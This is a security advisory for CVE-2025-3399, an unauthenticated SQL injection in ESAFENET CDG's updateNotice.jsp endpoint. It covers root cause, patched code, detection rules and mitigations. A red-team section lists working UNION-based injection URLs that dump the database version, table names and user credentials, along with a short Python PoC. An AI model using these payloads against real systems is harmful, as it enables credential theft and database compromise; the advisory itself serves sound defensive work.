CVE-2025-3399
Executive Summary
CVE-2025-3399 is a critical SQL injection vulnerability in ESAFENET CDG version 5.6.3.154.205_20250114. The flaw exists in the /pubinfo/updateNotice.jsp endpoint, where the ID parameter is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this remotely to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The vendor has been contacted but has not responded, leaving the product unpatched. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but in a proprietary enterprise document management system. The risk is amplified by the lack of vendor response, meaning no official patch or update is available. Organizations using ESAFENET CDG must rely on virtual patching and strict network segmentation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. The lack of a vendor patch means all installations are at risk.
Deep Dive & Mechanics
The vulnerability resides in the /pubinfo/updateNotice.jsp page of ESAFENET CDG. This page is likely used to update or retrieve notice information. The ID parameter is passed directly into a SQL query without proper sanitization or parameterization.
Root Cause: The application uses string concatenation to build SQL queries, e.g.:
String query = "SELECT * FROM notices WHERE id = " + request.getParameter("ID");
An attacker can inject SQL commands by providing a malicious value for the ID parameter, such as:
1 UNION SELECT username, password FROM users
Impact: Successful exploitation allows an attacker to:
- Extract sensitive data (user credentials, documents, configuration).
- Modify or delete database records.
- Potentially execute operating system commands (if the database server has xp_cmdshell or similar enabled).
- Escalate privileges within the application.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<%
String id = request.getParameter("ID");
String sql = "SELECT * FROM notices WHERE id = " + id;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
%>
Patched Code (Conceptual):
<%
String id = request.getParameter("ID");
String sql = "SELECT * FROM notices WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();
%>
The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running ESAFENET CDG 5.6.3.154.205_20250114.
- Network access to the
/pubinfo/updateNotice.jspendpoint.
Exploitation Steps:
Identify the vulnerable endpoint:
http://target/cdg/pubinfo/updateNotice.jspTest for SQL injection:
http://target/cdg/pubinfo/updateNotice.jsp?ID=1' OR '1'='1If the page returns unexpected data or an error, it is vulnerable.
Extract database version:
http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT @@version,2,3Extract table names:
http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT table_name,2,3 FROM information_schema.tablesDump user credentials:
http://target/cdg/pubinfo/updateNotice.jsp?ID=1 UNION SELECT username,password,3 FROM users
Example PoC (Python):
import requests
target = "http://target/cdg/pubinfo/updateNotice.jsp"
payload = "1 UNION SELECT @@version,2,3"
params = {"ID": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/pubinfo/updateNotice.jspwith unusualIDparameters (e.g., containing SQL keywords likeUNION,SELECT,OR). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use network intrusion detection systems (NIDS) to detect SQL injection attempts.
Defense:
- Immediate: Apply virtual patching via WAF or reverse proxy to block malicious requests to the vulnerable endpoint.
- Network Segmentation: Isolate the ESAFENET CDG server from the internet and limit access to trusted IPs.
- Database Hardening: Ensure the database account used by the application has minimal privileges (e.g., no
xp_cmdshell). - Monitor: Enable detailed logging on both the web server and database server.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/pubinfo/updateNotice.jspwithIDparameter containing SQL keywords. - Unusual database queries originating from the web server IP.
- Outbound data transfers from the database server to unknown IPs.
File IOCs:
- Unexpected files in the web root (e.g., webshells).
- Modified JSP files.
Log IOCs:
- Web server logs showing
400or500errors on/pubinfo/updateNotice.jsp. - Database logs showing
UNIONorSELECTstatements from the application user.
Detection Engineering
YARA Rule
rule CVE_2025_3399_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-3399 in ESAFENET CDG"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3399"
strings:
$sqli1 = "ID=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "OR" nocase
$sqli5 = "1=1" nocase
$sqli6 = "information_schema" nocase
condition:
all of ($sqli1, $sqli2, $sqli3) or
all of ($sqli1, $sqli4, $sqli5) or
all of ($sqli1, $sqli6)
}
Sigma Rule
title: CVE-2025-3399 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG /pubinfo/updateNotice.jsp
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-3399
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "/pubinfo/updateNotice.jsp"
cs-uri-query|contains|all:
- "ID="
- "UNION"
- "SELECT"
condition: selection
falsepositives:
- Legitimate use of UNION SELECT in rare cases (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3399 SQL Injection Attempt"; flow:to_server,established; content:"/pubinfo/updateNotice.jsp"; http_uri; content:"ID="; http_uri; pcre:"/ID=.*(UNION|SELECT|OR|1=1|information_schema)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy a WAF rule to block requests to
/pubinfo/updateNotice.jspwith suspiciousIDparameters. - Network Isolation: Place the ESAFENET CDG server behind a firewall and restrict access to only necessary IPs.
- Disable Endpoint: If possible, temporarily disable the
/pubinfo/updateNotice.jsppage or restrict it to authenticated users.
Long-Term Actions:
- Vendor Patch: Monitor ESAFENET for an official patch. If none is released, consider migrating to an alternative solution.
- Code Review: If source code is available, implement parameterized queries for all database interactions.
- Security Hardening: Apply the principle of least privilege to the database account used by the application.
Workaround:
- Modify the web server configuration to block access to
/pubinfo/updateNotice.jspfor unauthenticated users (e.g., using.htaccessor Nginx location blocks).
Valters IT
Securing Digital Frontiers